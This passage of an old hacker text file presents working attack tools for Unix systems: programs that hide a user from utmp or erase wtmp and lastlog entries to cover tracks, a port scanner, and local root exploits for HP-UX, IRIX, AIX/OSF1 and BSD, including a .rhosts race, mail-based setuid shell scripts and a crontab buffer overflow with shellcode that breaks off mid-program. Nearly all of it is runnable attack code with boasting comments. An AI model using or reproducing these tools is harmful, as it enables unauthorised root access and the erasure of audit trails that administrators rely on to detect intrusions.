  6544. #include <sys/types.h>
  6545. #include <utmp.h>
  6546. #include <sys/stat.h>
  6547.  
  6548. char *mytty; /* For an exact match of ut_line */
  6549. char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
  6550. struct utmp *user;
  6551.  
  6552. main(argc,argv)
  6553. int argc;
  6554. char *argv[];
  6555. {
  6556.         int good= 0,cnt = 0,start = 1,cn = 0, cl = 0,index = 0;
  6557.         char err[80];
  6558.         if (argc >= 2) cn = 1;
  6559.         if (argc == 3) cl = 1;
  6560.         system(backup_utmp);
  6561.     printf("Welcome to MME 1.00 By Sir Hackalot\n");
  6562.     printf("Another PHAZESOFT Productions\n");
  6563.     printf("Status:");
  6564.     if (cn == 1) printf("Changing your login to %s\n",argv[1]);
  6565.         if (cl == 1) printf("Changing your tty   to %s\n",argv[2]);
  6566.         if (cl == 0 && cn == 0) printf("Removing you from utmp\n");
  6567.         utmpname("/etc/utmp");
  6568.  
  6569. /* The Below Section finds OUR entry, even if more than 1 of the same name
  6570.    of us is logged on.  It finds YOUR tty, looks in utmp until it finds
  6571.    your tty, then "cnt" holds your index number */
  6572.         
  6573.         mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
  6574.         strcpy(mytty,++mytty); /* Make a string starting one pos greater */
  6575.         while (good != 1) {
  6576.                 user = getutent();
  6577.                 cnt++;
  6578.                 if (strcmp(user->ut_line,mytty) == 0) good =1;
  6579.         }
  6580.         utmpname("/etc/utmp"); /* Reset file pointer */
  6581.         for(start = 0;start < cnt;start++) {
  6582.                 user = getutent(); /* Move the file pointer to where we are */
  6583.         }
  6584.  
  6585.         /* Below: If we did not supply a command line arg to change name, etc,
  6586.           make us invisible from WHO.  WHO only displays USER_PROCESS 
  6587.           types, as does "w", "whodo" and all who variations.  You WILL
  6588.           be seen if they do who -l (or one some systems -L)
  6589.           if we did supply an argument make SURE we DO show up. */
  6590.  
  6591.         if (argc == 1)  user->ut_type = LOGIN_PROCESS; /* Become invisible */
  6592.         else user->ut_type = USER_PROCESS;
  6593.  
  6594.         /* ABove: You can change it to:
  6595.          else {
  6596.          user->ut_type = LOGIN_PROCESS;
  6597.          strcpy(user->ut_name,"LOGIN");
  6598.          }
  6599.           to totally hide your-self.  On some systems, if you do it, it will go
  6600.           thru the login process... But that is rare.  AT any-rate, for 
  6601.           safety, i left out the strcpy */
  6602.  
  6603.         /* Below: If we entered a new login name, change to that.
  6604.           If we entered a new tty, change to that. */
  6605.  
  6606.         if (argc == 2) strcpy(user->ut_name,argv[1]);
  6607.         if (argc == 3) strcpy(user->ut_line,argv[2]);
  6608.         pututline(user); /* Rewrite our new info */
  6609.         endutent(); /* Tell the utmp functions we are through */
  6610.         printf("Delete /tmp/utmp.bak if all is well. Else, copy it to /etc/utmp\n");
  6611. }
  6612.  
  6613. ----------- cut here
  6614.  
  6615. .........................................................................
  6616. .                                                                       .
  6617. . 4. UNIX Port scanner                                                  .
  6618. .........................................................................
  6619.  
  6620.  
  6621. ----------- cut here
  6622.  
  6623. /* 
  6624.  * internet port scanner 
  6625.  *
  6626.  * This program will scan a hosts TCP ports printing all ports that accept
  6627.  * connections, and if known, the service name.
  6628.  * This program can be trivially altered to do UDP ports also.
  6629.  *
  6630.  * Kopywrong (K) Aug. 25, '94 pluvius@io.org
  6631.  *
  6632.  * Hey kiddies, this is a C program, to run it do this:
  6633.  * $ cc -o pscan pscan.c
  6634.  * $ pscan <host> [max port]
  6635.  *
  6636.  * No, this will not get you root.
  6637.  * 
  6638.  * Changes:
  6639.  * Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box
  6640.  * Netrunner 1/18/95 11:30pm
  6641.  * 
  6642. */
  6643. static char sccsid[] = "@(#)pscan.c     1.0     (KRAD) 08/25/94";
  6644. #include <stdio.h>
  6645. #include <sys/types.h>
  6646. #include <sys/socket.h>
  6647. #include <netinet/in.h>
  6648. #include <netdb.h>
  6649.  
  6650. #define MAX_PORT 1024 /* scan up to this port */
  6651. int s;
  6652. struct sockaddr_in addr;
  6653. char rmt_host[100];
  6654.  
  6655. int skan(port)
  6656. int port;
  6657. {
  6658.  int r;
  6659.     s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  6660.     if (s < 0) {
  6661.        /* fprintf("ERROR: socket() failed\n"); */
  6662.        /* Changed to printf for my Linux 1.1.18 box */
  6663.        printf("ERROR: socket() failed\n");
  6664.        exit(0);
  6665.     }
  6666.  
  6667.     addr.sin_family = PF_INET;
  6668.     addr.sin_port = port;
  6669.     addr.sin_addr.s_addr = inet_addr(rmt_host);
  6670.  
  6671.     r = connect(s,(struct sockaddr *) &addr, sizeof(addr));
  6672.  
  6673.     close(s);
  6674.  
  6675.     if (r < 0) {
  6676.        return (1 == 0);
  6677.     }
  6678.  
  6679.     return (1 == 1);
  6680. }
  6681.  
  6682. main(argc,argv) 
  6683. int argc;
  6684. char *argv[];
  6685. {
  6686.  int a,b,c,d,e,f;
  6687.  struct hostent *foo;
  6688.  struct servent *bar;
  6689.  
  6690.    if (argc < 2) {
  6691.       fprintf(stderr,"usage: %s <host> [highest port]\n",argv[0]);
  6692.       exit(0);
  6693.    }
  6694.  
  6695.    if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
  6696.       foo = gethostbyname(argv[1]);
  6697.       if (foo == NULL) {
  6698.          fprintf(stderr,"error: cannot resolve host %s\n",argv[1]);
  6699.          exit(0);
  6700.       }
  6701.       sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0],
  6702.               (unsigned char ) foo->h_addr_list[0][1], 
  6703.               (unsigned char ) foo->h_addr_list[0][2], 
  6704.               (unsigned char ) foo->h_addr_list[0][3]);
  6705.    } else {
  6706.       strncpy(rmt_host,argv[1],99);
  6707.    }
  6708.  
  6709.  
  6710.    if (argc > 2) {
  6711.       f = atoi(argv[2]);
  6712.    } else
  6713.       f = MAX_PORT;
  6714.  
  6715.    fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);
  6716.  
  6717.    for (e =1;e<=f;e++) {
  6718.     char serv[100];
  6719.       if (skan(e)) {
  6720.          bar = getservbyport(e,"tcp");
  6721.          printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" :
  6722.                 bar->s_name);
  6723.       }
  6724.    }
  6725. }
  6726.  
  6727. ------------ cut here
  6728.  
  6729. .........................................................................
  6730. .                                                                       .
  6731. .  5. Remove wtmp entries by tty number or username                     .
  6732. .........................................................................
  6733.  
  6734.  
  6735. ---------- cut here
  6736.  
  6737.  
  6738. /* This program removes wtmp entries by name or tty number */
  6739.  
  6740. #include <utmp.h>
  6741. #include <stdio.h>
  6742. #include <sys/file.h>
  6743. #include <sys/fcntlcom.h>
  6744.  
  6745. void usage(name)
  6746. char *name;
  6747. {
  6748.     printf("Usage: %s [ user | tty ]\n", name);
  6749.     exit(1);
  6750. }
  6751.  
  6752. void main (argc, argv)
  6753. int argc;
  6754. char *argv[];
  6755. {
  6756.     struct utmp utmp;
  6757.     int size, fd, lastone = 0;
  6758.     int match, tty = 0, x = 0;
  6759.  
  6760.     if (argc>3 || argc<2)
  6761.        usage(argv[0]);
  6762.  
  6763.     if (strlen(argv[1])<2) {
  6764.        printf("Error: Length of user\n");
  6765.        exit(1);
  6766.     }
  6767.  
  6768.     if (argc==3)
  6769.        if (argv[2][0] == 'l') lastone = 1;
  6770.  
  6771.     if (!strncmp(argv[1],"tty",3))
  6772.        tty++;
  6773.  
  6774.     if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
  6775.         printf("Error: Open on /usr/adm/wtmp\n");
  6776.         exit(1);
  6777.     }
  6778.  
  6779.     printf("[Searching for %s]:  ", argv[1]);
  6780.  
  6781.     if (fd >= 0)
  6782.     {
  6783.        size = read(fd, &utmp, sizeof(struct utmp));
  6784.        while ( size == sizeof(struct utmp) )
  6785.        {
  6786.           if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
  6787.             ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
  6788.               lastone != 1)
  6789.           {
  6790.              if (x==10)
  6791.                 printf("\b%d", x);
  6792.              else
  6793.              if (x>9 && x!=10)
  6794.                 printf("\b\b%d", x);
  6795.              else
  6796.                 printf("\b%d", x);
  6797.              lseek( fd, -sizeof(struct utmp), L_INCR );
  6798.              bzero( &utmp, sizeof(struct utmp) );
  6799.              write( fd, &utmp, sizeof(struct utmp) );
  6800.              x++;
  6801.           }
  6802.           size = read( fd, &utmp, sizeof(struct utmp) );
  6803.        }
  6804.     }
  6805.     if (!x)
  6806.        printf("No entries found.");
  6807.     else
  6808.        printf(" entries removed.");
  6809.     printf("\n");
  6810.     close(fd);
  6811. }
  6812.  
  6813. ------------- cut here
  6814.  
  6815. ............................................................................
  6816. .                                                                          .
  6817. .  6. SunOS wtmp editor                                                    .
  6818. ............................................................................
  6819.  
  6820.  
  6821. ---------- cut here
  6822.  
  6823. /*
  6824.    /var/adm/wtmp editor for Sun's
  6825.    Written by gab, this will make a file wtmp.tmp then just copy
  6826.    it over /var/adm/wtmp and chmod 644 it
  6827. */
  6828.  
  6829. #include <stdio.h>
  6830. #include <utmp.h>
  6831. #include <fcntl.h>
  6832. main(argc,argv)
  6833. int argc;
  6834. char *argv[];
  6835. {
  6836. int fp=-1,fd=-1;
  6837. struct utmp ut;
  6838. int i=0;
  6839. char name[8];
  6840. if (argc!=2) { fprintf(stderr,"usage: %s accountname\n\r",argv[0]);  exit(2);}
  6841. strcpy(name,argv[1]);
  6842. if (fp=open("/var/adm/wtmp",O_RDONLY)) {
  6843.         fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
  6844.         while (read(fp,&ut,sizeof(struct utmp))==sizeof(struct utmp)) {
  6845.                 if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(struct utmp));
  6846.                 i++;
  6847.         }
  6848.         close(fp);
  6849.         close(fd);
  6850.         }
  6851. printf("Total: %d\n\r", i);
  6852. }
  6853. ------------ cut here
  6854.  
  6855. .......................................................................
  6856. .                                                                     .
  6857. .  7. SunOS 4+ Zap your self from wtmp, utmp and lastlog              .
  6858. .......................................................................
  6859.  
  6860.  
  6861. -------------  cut here
  6862.  
  6863. /*
  6864.       Title:  Zap.c (c) rokK Industries
  6865.    Sequence:  911204.B
  6866.  
  6867.     Syztems:  Kompiles on SunOS 4.+
  6868.        Note:  To mask yourself from lastlog and wtmp you need to be root,
  6869.               utmp is go+w on default SunOS, but is sometimes removed.
  6870.     Kompile:  cc -O Zap.c -o Zap
  6871.         Run:  Zap <Username>
  6872.  
  6873.        Desc:  Will Fill the Wtmp and Utmp Entries corresponding to the
  6874.               entered Username. It also Zeros out the last login data for
  6875.               the specific user, fingering that user will show 'Never Logged
  6876.               In'
  6877.  
  6878.       Usage:  If you cant find a usage for this, get a brain.
  6879. */
  6880.  
  6881. #include <sys/types.h>
  6882. #include <stdio.h>
  6883. #include <unistd.h>
  6884. #include <fcntl.h>
  6885. #include <utmp.h>
  6886. #include <lastlog.h>
  6887. #include <pwd.h>
  6888.  
  6889. int f;
  6890.  
  6891. void kill_tmp(name,who)
  6892. char *name,
  6893.      *who;
  6894. {
  6895.     struct utmp utmp_ent;
  6896.  
  6897.   if ((f=open(name,O_RDWR))>=0) {
  6898.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  6899.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  6900.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  6901.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  6902.                  write (f, &utmp_ent, sizeof (utmp_ent));
  6903.             }
  6904.      close(f);
  6905.   }
  6906. }
  6907.  
  6908. void kill_lastlog(who)
  6909. char *who;
  6910. {
  6911.     struct passwd *pwd;
  6912.     struct lastlog newll;
  6913.  
  6914.      if ((pwd=getpwnam(who))!=NULL) {
  6915.  
  6916.         if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
  6917.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  6918.             bzero((char *)&newll,sizeof( newll ));
  6919.             write(f, (char *)&newll, sizeof( newll ));
  6920.             close(f);
  6921.         }
  6922.  
  6923.     } else printf("%s: ?\n",who);
  6924. }
  6925.  
  6926. main(argc,argv)
  6927. int  argc;
  6928. char *argv[];
  6929. {
  6930.     if (argc==2) {
  6931.         kill_tmp("/etc/utmp",argv[1]);
  6932.         kill_tmp("/usr/adm/wtmp",argv[1]);
  6933.         kill_lastlog(argv[1]);
  6934.         printf("Zap!\n");
  6935.     } else
  6936.     printf("Error.\n");
  6937. }
  6938. ------------ cut here
  6939.  
  6940.  
  6941. ************************************
  6942. * Appendix V - Other Unix Exploits *
  6943. ************************************
  6944.  
  6945.  
  6946.  
  6947. ..........................................................................
  6948. .                                                                        .
  6949. . 1. HP-UX Root vhe_u_mnt exploit                                        .
  6950. ..........................................................................
  6951.  
  6952.  
  6953.  
  6954. ------- cut here
  6955.  
  6956. /***
  6957.  *
  6958.  * HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit.
  6959.  *
  6960.  * This bug is exhibited in all versions of HP-UX that contain
  6961.  * /usr/etc/vhe/vhe_u_mnt setuid to root.
  6962.  *
  6963.  * This program written by pluvius@io.org
  6964.  * The exploit code itself written by misar@rbg.informatik.th-darmstadt.de
  6965.  *
  6966.  * I found that the exploit code didn't always work due to a race between
  6967.  * the child and the parent, and that a link() called failed due to
  6968.  * the fact that user directories and the /tmp are in different file systems
  6969.  * so you must create a symlink.
  6970.  * I added in a call to alarm() so that the timing between the two processes
  6971.  * is ok..
  6972.  *
  6973.  ***/
  6974. #include <stdio.h>
  6975. #include <stdlib.h>
  6976. #include <pwd.h>
  6977. #include <string.h>
  6978. #include <unistd.h>
  6979. #include <signal.h>
  6980. #include <netdb.h>
  6981. #include <sys/wait.h>
  6982. #include <sys/stat.h>
  6983. #include <sys/utsname.h>
  6984.  
  6985. #define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt"
  6986. #define NAME "<defunct>"
  6987.  
  6988. int test_host()
  6989. { struct utsname name;
  6990.    uname(&name);
  6991.    return !strcmp(name.sysname,"HP-UX");
  6992. }
  6993. int check_mount()
  6994. { struct stat my_buf;
  6995.    if (stat(BUGGY_PROG, &my_buf))
  6996.       return 0;
  6997.    return !((my_buf.st_mode & S_ISUID) != S_ISUID);
  6998. }
  6999. void pause_handler()
  7000. {
  7001.    signal(SIGALRM,pause_handler);
  7002. }
  7003. int rhost_user(user)
  7004. char *user;
  7005. {
  7006.   struct passwd *info;
  7007.   char   homedir[80];
  7008.   int fd[2];
  7009.   int procno;
  7010.   struct stat my_buf;
  7011.   int fsize;
  7012.  
  7013.    info = getpwnam(user);
  7014.    if (info==NULL) {
  7015.       fprintf(stderr,"ERROR: Unknown user %s\n",user);
  7016.       exit(-3);
  7017.    }
  7018.    strcpy(homedir,info->pw_dir);
  7019.    if (homedir[strlen(homedir)-1] != '/')
  7020.       strcat(homedir,"/");
  7021.    strcat(homedir,".rhosts");
  7022.  
  7023.    signal(SIGALRM,pause_handler);
  7024.    memset(my_buf,0,sizeof(my_buf));
  7025.    stat(homedir,&my_buf);
  7026.    fsize = my_buf.st_size;
  7027.  
  7028.    /* now the exploit code... slightly modified.. but mostly from the source */
  7029.    /* by misar@rbg.informatik.th-darmstadt.de                                */
  7030.    pipe(fd);
  7031.    if (!(procno=fork())) {
  7032.       close(0);
  7033.       dup(fd[0]);
  7034.       close(fd[1]);
  7035.       close(1);
  7036.       close(2);
  7037.       alarm(2); /* wait for other process */
  7038.       nice(5);
  7039.       execl(BUGGY_PROG,NAME,NULL);
  7040.    } else {
  7041.     FILE *out;
  7042.     char listfile[25];
  7043.     char mntfile[25];
  7044.     struct stat dummy;
  7045.  
  7046.       close(1);
  7047.       dup(fd[1]);
  7048.       close(fd[0]);
  7049.       write(1,"+\n",2);
  7050.       sprintf(listfile,"/tmp/vhe_%d",procno+2);
  7051.       sprintf(mntfile,"/tmp/newmnt%d",procno+2);
  7052.       while (stat(listfile,&dummy));
  7053.       unlink(listfile);
  7054.       out=fopen(listfile,"w");
  7055.       fputs("+ +\n",out);
  7056.       fclose(out);
  7057.       unlink(mntfile);
  7058.       symlink(homedir,mntfile);
  7059.       waitpid(procno,NULL,0);
  7060.    }
  7061.    stat(homedir,&my_buf);
  7062.    return (fsize != my_buf.st_size);
  7063. }
  7064.  
  7065. void main(argc,argv)
  7066. int   argc;
  7067. char *argv[];
  7068. {
  7069.   int i;
  7070.   int rhost_root = 0;
  7071.   char userid[10];
  7072.  
  7073.    if (!test_host()) {
  7074.       fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n");
  7075.       exit(-1);
  7076.    }
  7077.  
  7078.    if (!check_mount()) {
  7079.       fprintf(stderr,
  7080.               "ERROR: %s must exist and be setuid root to exploit this bug\n",
  7081.               BUGGY_PROG);
  7082.       exit(-2);
  7083.    }
  7084.  
  7085.    for (i=0;(i<5)&&(!rhost_root);i++) {
  7086.       fprintf(stderr,"Attempting to .rhosts user root..");
  7087.       if (!rhost_user("root")) {
  7088.          fprintf(stderr,"failed.\n");
  7089.       } else {
  7090.          fprintf(stderr,"succeeded\n");
  7091.          rhost_root = 1;
  7092.       }
  7093.    }
  7094.  
  7095.    if (!rhost_root) {
  7096.       /* failed to rhost root, try user 'bin' */
  7097.       fprintf(stderr,"Too many failures.. trying user bin...");
  7098.       if (!rhost_user("bin")) {
  7099.          fprintf(stderr,"failed.\n");
  7100.          exit(-4);
  7101.       }
  7102.       fprintf(stderr,"succeeded.\n");
  7103.       strcpy(userid,"bin");
  7104.    } {
  7105.       strcpy(userid,"root");
  7106.    }
  7107.    fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n",
  7108.            userid);
  7109. }
  7110.  
  7111. --------- cut here
  7112.  
  7113. ..........................................................................
  7114. .                                                                        .
  7115. . 2. IRIX Root mail exploit                    .                         .
  7116. ..........................................................................
  7117.  
  7118.  
  7119. ---------- cut here
  7120.  
  7121. #!/bin/sh
  7122. MAIL="/bin/mail"
  7123. RM="/bin/rm -f"
  7124. CC="/usr/bin/cc"
  7125. OS="IRIX"
  7126.  
  7127. if  [ ".`uname -s`" != ".$OS" ];  then
  7128.   echo "this box is not running $OS !"
  7129.   exit 1
  7130. fi
  7131. echo "creating rewt.c"
  7132. cat >rewt.c <<'EOF'
  7133. main()
  7134. {
  7135. setuid(0);
  7136. setgid(0);
  7137. system("/bin/sh -i");
  7138. }
  7139. EOF
  7140. echo "compiling..."
  7141. $CC -o rewt rewt.c
  7142. if [ -f rewt ]; then
  7143.   echo "done"
  7144.   $RM rewt.c
  7145. else
  7146.   echo "unable to compile rewt.c"
  7147.   $RM rewt.c
  7148.   exit 1
  7149. fi
  7150. # make dummy mail file for -f
  7151. echo "making dummy mail file"
  7152. cat >dummymail <<'EOF'
  7153. From mr.haqr@bogus.host.edu Sun Oct 30 00:00:00 1994
  7154. Return-Path: </dev/null>
  7155. Message-Id: <m0r1RBj-0003gkC@bogus.host.edu>
  7156. From: mr.haqr (Mr. Haqr)
  7157. Subject: Irix is secure!!@#%$^
  7158. To: root (root)
  7159. Date: Sun, 30 Oct 1994 00:00:00
  7160.  
  7161. gimme sum rewt d00d!
  7162. <insert l0ck motd here>
  7163.  
  7164. EOF
  7165. echo "running $MAIL, type '!rewt' to get root, exit  with 'exit' and then 'q'"
  7166. $MAIL -f dummymail
  7167. echo "deleting evil files"
  7168. $RM dummymail rewt rewt.c
  7169.  
  7170. exit 0
  7171.  
  7172. ----------- cut here
  7173.  
  7174. .............................................................................
  7175. .                                                                           .
  7176. . 3. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX .
  7177. .............................................................................
  7178.  
  7179.  
  7180. [crongrab] [public release]
  7181.  
  7182. Crontab has a bug.  You run crontab -e, then you goto a shell, relink the
  7183. temp fire that crontab is having you edit, and presto, it is now your
  7184. property.  This bug has been confirmed on various versions of OSF/1, Digital
  7185. UNIX 3.x, and AIX 3.x
  7186.  
  7187. If, while running my script, you somehow manage to mangle up your whole
  7188. system, or perhaps do something stupid that will place you in jail, then
  7189. neither I, nor sirsyko, nor the other fine folks of r00t are responsible.
  7190.  
  7191. Personally, I hope my script eats your cat and causes swarms of locuses to
  7192. decend down upon you, but I am not responsible if they do.
  7193.  
  7194. --kmem.
  7195.  
  7196. [-- Script kiddies cut here -- ]
  7197. #!/bin/sh
  7198.  
  7199. # This bug was discovered by sirsyko Thu Mar 21 00:45:27 EST 1996
  7200. # This crappy exploit script was written by kmem.
  7201. # and remember if ur not owned by r00t, ur not worth owning
  7202. #
  7203. # usage: crongrab <file_to_grab> <destination>
  7204.  
  7205. echo Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX, others???
  7206. echo if this did not work on OSF/1 read the comments -- it is easy to fix.
  7207.  
  7208. if [ $# -ne '2' ]; then
  7209.  echo "usage: $0 <file_to_grab> <destination>"
  7210.  exit
  7211. fi
  7212.  
  7213. HI_MUDGE=$1
  7214. YUMMY=$2
  7215. export HI_MUDGE
  7216.  
  7217. UNAME=`uname`
  7218. GIRLIES="1.awk aix.sed myedit.sh myedit.c .r00t-tmp1"
  7219.  
  7220. #SETUP the awk script
  7221. cat >1.awk <<END
  7222. {
  7223. new= i%2
  7224. if (new == 0) print \$0
  7225. i++
  7226. }
  7227. END
  7228.  
  7229. cat >aix.sed <<END
  7230. /^crontab:/d
  7231. /^$/d
  7232. END
  7233.  
  7234. #shell script
  7235. cat >myedit.sh <<EDITOR_END
  7236. #!/bin/ksh
  7237.  
  7238. rm \$1
  7239. ln -s \$HI_MUDGE \$1
  7240. exit
  7241. EDITOR_END
  7242.  
  7243. chmod 700 myedit.sh
  7244.  
  7245. #save old vars
  7246. oldedit=$EDITOR
  7247. oldvis=$VISUAL
  7248. VISUAL=./myedit.sh
  7249. EDITOR=./myedit.sh
  7250. export EDITOR
  7251. export VISUAL
  7252.  
  7253. #do the exploit@!&*&*(!@*(&
  7254.  
  7255. if [ $UNAME = "AIX" ]; then
  7256.  crontab -e 2>.r00t-tmp1
  7257.  sed -f aix.sed .r00t-tmp1 > $YUMMY
  7258. elif [ $UNAME =  "OSF1" ]; then
  7259.  #FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines
  7260.  crontab -e 2>.r00t-tmp1
  7261.  awk -f 1.awk .r00t-tmp1 >$YUMMY
  7262.  # FOR PRE DIGITAL UNIX 3.X machines uncomment this line
  7263.  #crontab -l 2>&1 > $YUMMY
  7264. else
  7265.  echo "Sorry, dont know your OS. But you are a bright boy, read the skript and"
  7266.  echo "Figger it out."
  7267.  exit
  7268. fi
  7269.  
  7270. echo "Checkit out  - $YUMMY"
  7271. echo "sirsyko and kmem kickin it out."
  7272. echo "r00t"
  7273.  
  7274. #cleanup our mess
  7275. crontab -r
  7276. VISUAL=$oldvis
  7277. EDITOR=$oldedit
  7278. HI_MUDGE=''
  7279. YUMMY=''
  7280. export HI_MUDGE
  7281. export YUMMY
  7282. export VISUAL
  7283. export EDITOR
  7284. rm -f $GIRLIES
  7285.  
  7286. ------------- cut here
  7287.  
  7288. ............................................................................
  7289. .                                                                          .
  7290. .  4. IRIX mail exploit to make you any user on the mahine - BUT NOT root  .
  7291. ............................................................................
  7292.  
  7293.  
  7294. ----------- cut here
  7295.  
  7296. [irixmksh] [public release]
  7297.  
  7298. There are bugs in the IRIX mail proggies.  This sample script exploits them
  7299. to give you an suid shell of any user on the system, EXCEPT, for uid=0.
  7300.  
  7301. Obviously, this script should not be run if you are a clueless script kiddie
  7302. and have no clue what is going to do.  If this script causes any sort of
  7303. harm to you, physically or virtually, them members of r00t are not responsible,
  7304. and in fact will probably laugh at you.
  7305.  
  7306. r00t -- you may not like us, but your girlfriend does.
  7307.  
  7308. Script kiddies cut here
  7309. ---------------------------------------------------------------------------
  7310. #!/sbin/ksh
  7311. # usage: irixmksh <user> - creates an suid shell of any user on the system
  7312. # except for uid=0
  7313.  
  7314. FILES=qfAA12345 putq /tmp/x usr
  7315.  
  7316. if [ "x`uname -s`" != "xIRIX" ];then
  7317.   echo "this box is not running IRIX - later..."
  7318.   exit 1
  7319. fi
  7320.  
  7321. if [ "$#" != "1" ]; then
  7322.   echo "Usage: $0 <non uid=0 user>"
  7323.   exit 1
  7324. fi
  7325.  
  7326. TargetUser=$1
  7327.  
  7328. # Make the mail queue files
  7329. cat <<_r00t-text_>qfAA12345
  7330. P0
  7331. T830896940
  7332. DdfAA12345
  7333. Bblah
  7334. Mdeferred: just cuz...
  7335. C$TargetUser
  7336. Sroot
  7337. R<"|/tmp/x">
  7338. H?P?return-path: <root>
  7339. H?D?date: Tue, 30 Feb 1996 12:34:56 -0400
  7340. H?F?from: root (root)
  7341. Hreceived: by hackerz.dom (HackerOS/UCB 5.64/Hackerz Domain
  7342.         id AA12345 for root@hackerz.com; Tue, 30 Feb 1996 12:34:56 -0400
  7343. H?M?message-id: <9602301234.AA12345@localhost>
  7344. Happarently-to: root@plato.coolcode.com
  7345. _r00t-text_
  7346.  
  7347.  
  7348. # Make the script to run with euid=mail
  7349. cat<<_r00t-text_>putq
  7350. #!/bin/sh
  7351. cp qfAA12345 /usr/spool/mqueue
  7352. touch /usr/spool/mqueue/dfAA12345
  7353. chown root /usr/spool/mqueue/*5
  7354. _r00t-text_
  7355. chmod u+x putq
  7356.  
  7357. # Make the script to create the suid shell
  7358. cat<<_r00t-text_>/tmp/x
  7359. #!/bin/sh
  7360. cp /bin/sh /tmp/b00sh.$TargetUser
  7361. chmod 6777 /tmp/b00sh.$TargetUser
  7362. _r00t-text_
  7363. chmod u+x /tmp/x
  7364. chown $TargetUser /tmp/x
  7365.  
  7366. # Make the script to grab suid mail shell
  7367. cat<<_r00t-text_>usr
  7368. #!/bin/sh
  7369. chgrp mail b00sh-mail
  7370. chmod 2777 b00sh-mail
  7371. _r00t-text_
  7372. chmod u+x usr
  7373.  
  7374. # Now snag mail access and send the queue files.
  7375. cp /bin/sh b00sh-mail
  7376. export PATH=.:$PATH
  7377. export IFS=/
  7378. echo "blah" | rmail $LOGNAME
  7379. export IFS=
  7380.  
  7381. b00sh-mail putq
  7382. mailq
  7383.  
  7384. # Clean Up:
  7385. rm $FILES
  7386. -------------------------------- cut here
  7387.  
  7388. 5. The Root BSD crontab exploit
  7389.  
  7390. ---------------- cut here
  7391.  
  7392. /*
  7393. ** BSDI/FreeBSD exploit for crontab
  7394. **
  7395. ** For BSDi (Tested in 2.1) the default offset should be OK
  7396. ** For FreeBSD, the offset seems to be around 1000
  7397. **
  7398. ** I didn't find this hole, I only exploited it.
  7399. **
  7400. ** Brian Mitchell brian@saturn.net
  7401. */
  7402.  
  7403. #include <stdio.h>
  7404. #include <sys/types.h>
  7405. #include <stdlib.h>
  7406. #include <fcntl.h>
  7407. #include <unistd.h>
  7408.  
  7409. #define DEFAULT_OFFSET          -1050
  7410. #define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
  7411. #define HAPPY_FILE              "./Window"
  7412.  
  7413. long get_esp(void)
  7414. {
  7415.    __asm__("movl %esp,%eax\n");
  7416. }
  7417.  
  7418. main(int argc, char **argv)
  7419. {
  7420.    int fd;
  7421.    char *buff = NULL;
  7422.    unsigned long *addr_ptr = NULL;
  7423.    char *ptr = NULL;
  7424.    
  7425.    char execshell[] =
  7426.    "\xeb\x23"
  7427.    "\x5e"
  7428.    "\x8d\x1e"
  7429.    "\x89\x5e\x0b"
  7430.    "\x31\xd2"
  7431.    "\x89\x56\x07"
  7432.    "\x89\x56\x0f"
  7433.    "\x89\x56\x14"
  7434.    "\x88\x56\x19"
  7435.    "\x31\xc0"
  7436.    "\xb0\x3b"
  7437.    "\x8d\x4e\x0b"
  7438.    "\x89\xca"
  7439.    "\x52"
  7440.    "\x51"
  7441.    "\x53"
  7442.    "\x50"
  7443.    "\xeb\x18"
  7444.    "\xe8\xd8\xff\xff\xff"
  7445.    "/bin/sh"
  7446.    "\x01\x01\x01\x01"
  7447.    "\x02\x02\x02\x02"
  7448.    "\x03\x03\x03\x03"
  7449.    "\x9a\x04\x04\x04\x04\x07\x04";
  7450.    
  7451.  
  7452.   
  7453. /*
  7454.  * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
  7455.  * a '=' character appears below
  7456.  */
  7457.  
  7458.    
  7459.    int i;
  7460.    int ofs = DEFAULT_OFFSET;
  7461.  
  7462.    /* if we have a argument, use it as offset, else use default */
  7463.    if(argc == 2)
  7464.       ofs = atoi(argv[1]);   
  7465.    else if (argc > 2) {
  7466.       fprintf(stderr, "egg [offset]\n");
  7467.       exit(-1);
  7468.    }
  7469.    /* print the offset in use */
  7470.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  7471.    
  7472.    buff = malloc(4096);
  7473.    if(!buff)
  7474.    {
  7475.       printf("can't allocate memory\n");
  7476.       exit(0);
  7477.    }
  7478.    ptr = buff;
  7479.    /* fill start of buffer with nops */
  7480.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  7481.    ptr += BUFFER_SIZE-strlen(execshell);
  7482.    /* stick asm code into the buffer */
  7483.    for(i=0;i < strlen(execshell);i++) 
  7484.       *(ptr++) = execshell[i];
  7485.    
  7486.    addr_ptr = (unsigned long *)ptr;
  7487.    for(i=0;i < (878/4);i++)
  7488.       *(addr_ptr++) = get_esp() + ofs;
  7489.    ptr = (char *)addr_ptr;
  7490.    *ptr++ = '=';
  7491.    *ptr++ = 'X';
  7492.    *ptr++ = '\n';
  7493.    *ptr = 0;
  7494.    printf("Writing to %s\n", HAPPY_FILE);
  7495.  
  7496. /*
